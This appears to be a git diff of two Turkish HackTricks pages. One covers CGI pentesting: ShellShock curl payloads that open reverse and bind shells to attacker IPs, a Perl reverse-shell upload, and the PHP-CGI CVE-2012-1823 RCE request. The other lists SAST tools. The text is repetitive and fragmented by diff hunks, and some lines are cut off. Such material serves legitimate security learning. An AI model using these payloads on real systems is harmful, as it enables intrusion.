* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Bilgi
**CGI betikleri perl betikleridir**, bu yüzden, **.cgi** betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, bir perl ters kabuk yükleyebilirsiniz \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **uzantıyı** **.pl**'den **.cgi**'ye değiştirin, **çalıştırma izinleri** verin \(`chmod +x`\) ve web tarayıcısından ters kabuğa **erişin** ve çalıştırın.
**CGI betikleri perl betikleridir**, bu nedenle, _**.cgi**_ betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl ters shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **yükleyebilir**, **uzantıyı** **.pl**'den **.cgi**'ye değiştirebilir, **çalıştırma izinleri** verebilir \(`chmod +x`\) ve **web tarayıcısından** ters shell'e **erişebilirsiniz**.
**CGI zafiyetlerini** test etmek için `nikto -C all` \(ve tüm eklentileri\) kullanmanız önerilir.
# **ShellShock**
**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedefler. Zafiyet, işlemlerin nasıl çalıştığını etkileyen dinamik adlı değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **zararlı kod** ekleyerek, değişkeni aldıklarında bu kodun çalıştırılmasını sağlayabilir. Bu, saldırganların potansiyel olarak sistemi ele geçirmesine olanak tanır.
**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, bilgisayardaki süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **kötü niyetli kod** ekleyerek bunu istismar edebilirler; bu kod, değişken alındığında çalıştırılır. Bu, saldırganların sistemi tehlikeye atmasına olanak tanır.
Bu zafiyeti **sayfa hata verebilir** şeklinde fark ederek bulabilirsiniz.
Bu zafiyeti istismar ederek **sayfa bir hata verebilir**.
Bu zafiyeti **eski bir Apache sürümü** ve **cgi\_mod** \(cgi klasörüyle\) kullanarak veya **nikto** kullanarak bulabilirsiniz.
Bu zafiyeti, **eski bir Apache sürümü** ve **cgi\_mod** \(cgi klasörü ile\) kullandığını fark ederek **bulabilirsiniz** veya **nikto** kullanarak.
## **Test**
Çoğu test, bir şeyi ekrana yazdırıp o dizenin web yanıtında döndürülmesini beklemeye dayanır. Bir sayfanın zafiyete açık olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve bunları test edin.
Çoğu test, bir şeyin yankesini yapmaya dayanır ve o dizenin web yanıtında döneceğini bekler. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(yansıtılan, kör ve bağımsız\)**
Curl, bir web uygulamasının güvenlik açıklarını tespit etmek için yaygın olarak kullanılan bir komut satırı aracıdır. Curl, HTTP, HTTPS, FTP, SMTP ve diğer birçok protokolü destekler. Bu nedenle, bir web uygulamasını hedef alırken Curl'ü kullanmak oldukça faydalı olabilir.
### **Yansıtılan Curl**
Yansıtılan Curl saldırıları, kullanıcının girdilerinin doğrudan web uygulaması tarafından yanıt olarak döndürüldüğü durumlarda gerçekleştirilir. Bu saldırı türü, kullanıcının girdilerini manipüle ederek, kötü niyetli kod enjekte etmek veya hassas verileri çalmak için kullanılabilir.
### **Kör Curl**
Kör Curl saldırıları, web uygulamasının yanıtını doğrudan göremediğimiz durumlarda gerçekleştirilir. Bu saldırı türünde, saldırgan, web uygulamasının yanıtını başka bir kanal aracılığıyla alır. Örneğin, saldırgan, bir DNS sunucusuna istek göndererek veya bir e-posta göndererek yanıtı alabilir.
### **Bağımsız Curl**
Bağımsız Curl saldırıları, web uygulamasının yanıtını beklemek yerine, saldırganın kontrol ettiği bir sunucuya yanıtı gönderdiği durumlarda gerçekleştirilir. Bu saldırı türü, saldırganın hedef web uygulamasına zarar vermek veya hassas verileri çalmak için kullanılabilir.
## **Curl \(yansıtılmış, kör ve dışa dönük\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -62,37 +49,6 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Sömürü
Exploiting, bir hedef sistemdeki zayıflıkları veya güvenlik açıklarını kullanarak yetkisiz erişim elde etmek veya hedef sistemde istenmeyen bir davranış gerçekleştirmek anlamına gelir. Bu bölümde, CGI (Common Gateway Interface) hizmetlerini hedef alarak nasıl sömürü yapabileceğinizi öğreneceksiniz.
### CGI Sömürüsü
CGI, web sunucusu ve harici programlar arasında iletişim sağlayan bir protokoldür. CGI hizmetlerini hedef alarak sömürü yapmak, hedef sistemdeki güvenlik açıklarını kullanarak yetkisiz erişim elde etmek veya hedef sistemde istenmeyen bir davranış gerçekleştirmek anlamına gelir.
CGI hizmetlerini sömürmek için aşağıdaki adımları izleyebilirsiniz:
1. Hedef web uygulamasında CGI hizmetlerini belirleyin.
2. CGI hizmetlerinin güvenlik açıklarını araştırın ve zayıf noktalarını belirleyin.
3. Sömürü için uygun bir saldırı vektörü seçin.
4. Sömürüyü gerçekleştirmek için gerekli araçları kullanın.
5. Sömürü sonucunda elde edilen yetkisiz erişimi veya istenmeyen davranışı kullanarak hedef sistemde istediğiniz işlemleri gerçekleştirin.
CGI hizmetlerini sömürmek için yaygın olarak kullanılan bazı saldırı vektörleri şunlardır:
- Command Injection (Komut Enjeksiyonu): Hedef sistemdeki komutları çalıştırmak için kullanılır.
- File Inclusion (Dosya Dahil Etme): Hedef sistemdeki dosyalara erişmek veya çalıştırmak için kullanılır.
- Remote Code Execution (Uzaktan Kod Yürütme): Hedef sistemdeki uzaktan kod yürütme yeteneğini kullanarak istenmeyen işlemler gerçekleştirir.
CGI hizmetlerini sömürmek için kullanılan araçlar arasında `Metasploit`, `Nmap`, `Burp Suite` ve `ExploitDB` gibi popüler araçlar bulunmaktadır.
CGI hizmetlerini sömürürken dikkate almanız gereken bazı önemli noktalar şunlardır:
- Hedef sistemdeki CGI hizmetlerinin güncel olup olmadığını kontrol edin.
- Sömürü yapmadan önce hedef sistemdeki güvenlik açıklarını tam olarak anlayın.
- Sömürü yaparken iz bırakmamak için gerekli önlemleri alın.
- Sömürü sonucunda elde edilen yetkisiz erişimi veya istenmeyen davranışı dikkatli bir şekilde kullanın ve hedef sistemde zararlı bir etki bırakmamaya özen gösterin.
CGI hizmetlerini sömürmek, hedef sistemde yetkisiz erişim elde etmek veya istenmeyen bir davranış gerçekleştirmek için etkili bir yöntem olabilir. Ancak, bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir.
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -106,37 +62,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy \(Web sunucusu isteklerine MitM\)**
# **Proxy \(MitM to Web server requests\)**
CGI, http isteğindeki her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP\_HOST"="web.com" olarak oluşturulur.
CGI, http isteğinde her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP\_HOST"="web.com" olarak oluşturulur.
Web sunucusu tarafından HTTP\_PROXY değişkeni kullanılabileceğinden, "**Proxy: &lt;IP\_saldırgan&gt;:&lt;PORT&gt;**" başlığını içeren bir **header** göndermeyi deneyin ve sunucu oturumu sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabilirsiniz.
HTTP\_PROXY değişkeni web sunucusu tarafından kullanılabilir. "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" içeren bir **başlık** göndermeyi deneyin ve eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabileceksiniz.
# Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Temel olarak, cgi etkinse ve php "eski" ise \(&lt;5.3.12 / &lt; 5.4.2\), kodu yürütebilirsiniz.
Bu zafiyeti sömürmek için, web sunucusunun bazı PHP dosyalarına parametre göndermeden \(özellikle "=" karakterini göndermeden\) erişmeniz gerekmektedir.
Ardından, bu zafiyeti test etmek için örneğin `/index.php?-s` \(dikkat `-s`\) adresine erişebilir ve **uygulamanın kaynak kodu yanıtta görünecektir**.
Temelde, cgi aktifse ve php "eski" ise \(&lt;5.3.12 / &lt; 5.4.2\) kod çalıştırabilirsiniz.
Bu güvenlik açığını istismar etmek için, parametre göndermeden \(özellikle "=" karakterini göndermeden\) web sunucusundaki bazı PHP dosyalarına erişmeniz gerekir.
Sonra, bu güvenlik açığını test etmek için, örneğin `/index.php?-s` adresine erişebilirsiniz \(not edin `-s`\) ve **uygulamanın kaynak kodu yanıt olarak görünecektir**.
Daha sonra, **RCE** elde etmek için bu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve **istek gövdesinde yürütülecek PHP kodunu** gönderin.
Örnek:
Sonra, **RCE** elde etmek için bu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve **isteğin gövdesinde çalıştırılacak PHP kodu. Örnek:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Vuln hakkında daha fazla bilgi ve olası saldırılar:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Örneği**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Zafiyet ve olası istismarlar hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Yazım Örneği**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
AWS Hacking Öğrenin ve Pratik Yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking Öğrenin ve Pratik Yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# Kaynak kod İnceleme / SAST Araçları
# Kaynak kodu İncelemesi / SAST Araçları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Kılavuz ve Araç Listeleri
## Rehberlik ve Araç Listeleri
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## Çoklu Dil Araçları
## Çok Dilli Araçlar
### [Naxus - AI-Gents](https://www.naxusai.com/)
**PR'ları incelemek için ücretsiz bir paket** bulunmaktadır.
**PR'leri incelemek için ücretsiz bir paket** bulunmaktadır.
### [**Semgrep**](https://github.com/returntocorp/semgrep)
Bu bir **Açık Kaynak aracıdır**.
Bu bir **Açık Kaynak araçtır**.
#### Desteklenen Diller
| Kategori | Diller |
| ------------- | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Deneysel | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
| Kategori | Diller |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Deneysel | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### Hızlı Başlangıç
@ -50,11 +51,11 @@ semgrep scan --config auto
```
{% endcode %}
Ayrıca, bulguları VSCode içinde almak için [**semgrep VSCode Eklentisini**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) kullanabilirsiniz.
Ayrıca, bulguları VSCode içinde almak için [**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) kullanabilirsiniz.
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
Yüklenebilir bir **ücretsiz sürüm** bulunmaktadır.
Yüklenebilir **ücretsiz bir sürüm** vardır.
#### Hızlı Başlangıç
@ -80,7 +81,7 @@ sonar-scanner \
### CodeQL
**Kurulabilir ücretsiz bir sürüm** bulunmaktadır ancak lisansa göre yalnızca **Açık Kaynak projelerinde ücretsiz CodeQL sürümünü kullanabilirsiniz**.
**Kurulabilir ücretsiz bir versiyon** vardır, ancak lisansa göre **ücretsiz codeQL versiyonunu yalnızca Açık Kaynak projelerinde kullanabilirsiniz**.
#### Kurulum
@ -111,10 +112,10 @@ codeql resolve qlpacks #Get paths to QL packs
#### Hızlı Başlangıç - Veritabanını Hazırlayın
{% hint style="success" %}
Yapmanız gereken ilk şey, **veritabanını hazırlamak** (kod ağacını oluşturmak) ve daha sonra sorguların üzerinde çalıştırılmasını sağlamaktır.
Yapmanız gereken ilk şey **veritabanını hazırlamak** (kod ağacını oluşturmak) ve böylece daha sonra sorgular bunun üzerinde çalıştırılabilir.
{% endhint %}
* Kodql'nin depodaki dilini otomatik olarak tanımlamasına ve veritabanını oluşturmasına izin verebilirsiniz
* Codeql'nin repo dilini otomatik olarak tanımlamasına ve veritabanını oluşturmasına izin verebilirsiniz.
{% code overflow="wrap" %}
```bash
@ -127,10 +128,12 @@ codeql database create /path/repo/codeql_db --source-root /path/repo
{% endcode %}
{% hint style="danger" %}
Bu genellikle birden fazla dil belirtildiği (veya otomatik olarak algılandığı) bir hata tetikler. Bunun düzeltilmesi için **aşağıdaki seçenekleri kontrol edin**!
Bu **genellikle bir hata tetikleyecektir** ve birden fazla dilin belirtildiğini (veya otomatik olarak tespit edildiğini) söyleyecektir. **Bunu düzeltmek için sonraki seçeneklere** bakın!
{% endhint %}
* Bu işlemi **manuel olarak yapabilirsiniz**, **repo** ve **dili belirterek** ([dil listesi](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
* Bunu **manuel olarak belirterek** **repo** ve **dili** yapabilirsiniz ([diller listesi](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
{% code overflow="wrap" %}
```bash
codeql database create <database> --language <language> --source-root </path/to/repo>
@ -138,7 +141,11 @@ codeql database create <database> --language <language> --source-root </path/to/
codeql database create /path/repo/codeql_db --language javascript --source-root /path/repo
## DB will be created in /path/repo/codeql_db
```
* Eğer depo **1'den fazla dil** kullanıyorsa, her dil için bir DB oluşturabilirsiniz.
{% endcode %}
* Eğer reposunuz **1'den fazla dil** kullanıyorsa, her dili belirterek **her dil için 1 DB** de oluşturabilirsiniz.
{% code overflow="wrap" %}
```bash
export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create <database> --source-root /path/to/repo --db-cluster --language "javascript,python"
@ -150,7 +157,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu
```
{% endcode %}
* Ayrıca `codeql`'e tüm dilleri tanımasına izin verebilir ve dil başına bir veritabanı oluşturabilirsiniz. Bir **GITHUB\_TOKEN** vermeniz gerekmektedir.
* `codeql`'in sizin için **tüm dilleri tanımlamasına** ve her dil için bir DB oluşturmasına da izin verebilirsiniz. Buna bir **GITHUB\_TOKEN** vermeniz gerekiyor.
{% code overflow="wrap" %}
```bash
@ -162,13 +169,17 @@ export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo
## DBs will be created in /path/repo/codeql_db/*
```
{% endcode %}
#### Hızlı Başlangıç - Kodu Analiz Et
{% hint style="success" %}
Şimdi nihayet kodu analiz etme zamanı geldi
Artık kodu analiz etme zamanı geldi
{% endhint %}
Birden fazla dil kullandıysanız, belirttiğiniz yol üzerinde **her dil için bir DB** oluşturulmuş olacaktır.
Birden fazla dil kullandıysanız, **her dil için bir DB** belirtilen yolda oluşturulmuş olacaktır.
{% code overflow="wrap" %}
```bash
# Default analysis
codeql database analyze <database> --format=<format> --output=</out/file/path>
@ -188,7 +199,7 @@ javascript-security-extended --sarif-category=javascript \
```
{% endcode %}
#### Hızlı Başlangıç - Betimlenmiş
#### Hızlı Başlangıç - Scriptli
{% code overflow="wrap" %}
```bash
@ -211,9 +222,9 @@ echo $FINAL_MSG
```
{% endcode %}
Buluntuları [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) adresinde görselleştirebilirsiniz veya VSCode eklentisi [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer) kullanabilirsiniz.
Bulguları [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) adresinde veya VSCode uzantısı [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer) kullanarak görselleştirebilirsiniz.
Ayrıca buluntuları VSCode içinde görmek için [**VSCode eklentisini**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) kullanabilirsiniz. Hala veritabanını manuel olarak oluşturmanız gerekecek, ancak daha sonra herhangi bir dosyayı seçebilir ve `Sağ Tıkla` -> `CodeQL: Run Queries in Selected Files` seçeneğine tıklayabilirsiniz.
Ayrıca bulguları VSCode içinde almak için [**VSCode uzantısını**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) kullanabilirsiniz. Yine de manuel olarak bir veritabanı oluşturmanız gerekecek, ancak ardından herhangi bir dosyayı seçip `Sağ Tık` -> `CodeQL: Seçilen Dosyalarda Sorguları Çalıştır` seçeneğine tıklayabilirsiniz.
### [**Snyk**](https://snyk.io/product/snyk-code/)
@ -240,17 +251,17 @@ snyk container test [image]
# Test for IaC vulns
snyk iac test
```
You can also use the [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) to get findings inside VSCode.
### [Insider](https://github.com/insidersec/insider)
**VSCode içinde sonuçları almak için [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)**'ı da kullanabilirsiniz.
It's **Açık Kaynak**, but looks **bakımsız**.
Bu **Açık Kaynak** kodlu, ancak **bakımsız** görünüyor.
#### Supported Languages
#### Desteklenen Diller
Java (Maven ve Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C#, ve Javascript (Node.js).
Java (Maven ve Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C# ve Javascript (Node.js).
#### Hızlı Başlangıç
#### Quick Start
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
@ -260,7 +271,7 @@ $ ./insider --tech javascript --target <projectfolder>
```
### [**DeepSource**](https://deepsource.com/pricing)&#x20;
**Genel depolar için ücretsizdir.**
**ık repos** için ücretsizdir.
## NodeJS
@ -281,14 +292,14 @@ npm install -g pnpm
cd /path/to/repo
pnpm audit
```
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Node.js uygulamaları için [libsast](https://github.com/ajinabraham/libsast) ve [semgrep](https://github.com/returntocorp/semgrep) tarafından desteklenen Statik güvenlik kod tarayıcısı (SAST).
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Node.js uygulamaları için [libsast](https://github.com/ajinabraham/libsast) ve [semgrep](https://github.com/returntocorp/semgrep) tarafından desteklenen statik güvenlik kod tarayıcısı (SAST).
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090
# Upload a zip file with the code
```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js'ın amacı, bilinen güvenlik açıklarına sahip JS kütüphane sürümlerinin kullanımını tespit etmenize yardımcı olmaktır.
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js'in amacı, bilinen güvenlik açıklarına sahip JS-kütüphane sürümlerinin kullanımını tespit etmenize yardımcı olmaktır.
```bash
# Install
npm install -g retire
@ -298,11 +309,11 @@ retire --colors
```
## Electron
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik karşı desenleri belirlemek için bir araçtır.
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-paterni tanımlamak için bir araçtır.
## Python
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit, Python kodunda yaygın güvenlik sorunlarını bulmak için tasarlanmış bir araçtır. Bunun için Bandit her dosyayı işler, bir AST oluşturur ve uygun eklentileri AST düğümlerine karşı çalıştırır. Bandit tüm dosyaları taramayı bitirdiğinde bir rapor oluşturur.
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit, Python kodundaki yaygın güvenlik sorunlarını bulmak için tasarlanmış bir araçtır. Bunu yapmak için Bandit her dosyayı işler, ondan bir AST oluşturur ve AST düğümleri üzerinde uygun eklentileri çalıştırır. Bandit tüm dosyaları taradıktan sonra bir rapor oluşturur.
```bash
# Install
pip3 install bandit
@ -310,14 +321,14 @@ pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**safety**](https://github.com/pyupio/safety): Safety, Python bağımlılıklarını bilinen güvenlik açıklarıısından kontrol eder ve tespit edilen güvenlik açıkları için uygun çözümler önerir. Safety, geliştirici makinelerinde, CI/CD boru hatlarında ve üretim sistemlerinde çalıştırılabilir.
* [**safety**](https://github.com/pyupio/safety): Safety, bilinen güvenlik açıkları için Python bağımlılıklarını kontrol eder ve tespit edilen açıklar için uygun düzeltmeleri önerir. Safety, geliştirici makinelerinde, CI/CD boru hatlarında ve üretim sistemlerinde çalıştırılabilir.
```bash
# Install
pip install safety
# Run
safety check
```
* [~~**Pyt**~~](https://github.com/python-security/pyt): Bakımsız.
* [~~**Pyt**~~](https://github.com/python-security/pyt): Bakımı yapılmıyor.
## .NET
```bash
@ -339,15 +350,6 @@ cargo audit
cargo audit fetch
```
## Java
Java dili, güvenlik açıklarını tespit etmek için birçok araç ve kütüphane sunar. Java kod incelemesi yaparken aşağıdaki araçları kullanabilirsiniz:
- **FindBugs**: Java kodunuzu analiz ederek potansiyel hataları ve kötü uygulamaları belirler.
- **PMD**: Kod tabanınızı inceleyerek hatalı kodlama uygulamalarını tespit eder.
- **Checkstyle**: Kod tabanınızı belirli bir kodlama standardına göre kontrol eder ve uyumsuzlukları raporlar.
- **SpotBugs**: FindBugs'un devamı niteliğinde olan bu araç, Java kodunuzu analiz ederek hataları tespit eder.
Bu araçlar, Java kodunuzdaki güvenlik açıklarını tespit etmenize ve düzeltmenize yardımcı olabilir.
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -358,19 +360,19 @@ mkdir META-INF
echo "Main-Class: test" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF test.jar test.class
```
| Görev | Komut |
| --------------- | --------------------------------------------------------- |
| Jar Dosyasını Çalıştır | java -jar \[jar] |
| Jar Dosyasını Çıkart | unzip -d \[çıktı dizini] \[jar] |
| Jar Oluştur | jar -cmf META-INF/MANIFEST.MF \[çıktı jar] \* |
| Görev | Komut |
| --------------- | ------------------------------------------------------- |
| Jar Çalıştır | java -jar \[jar] |
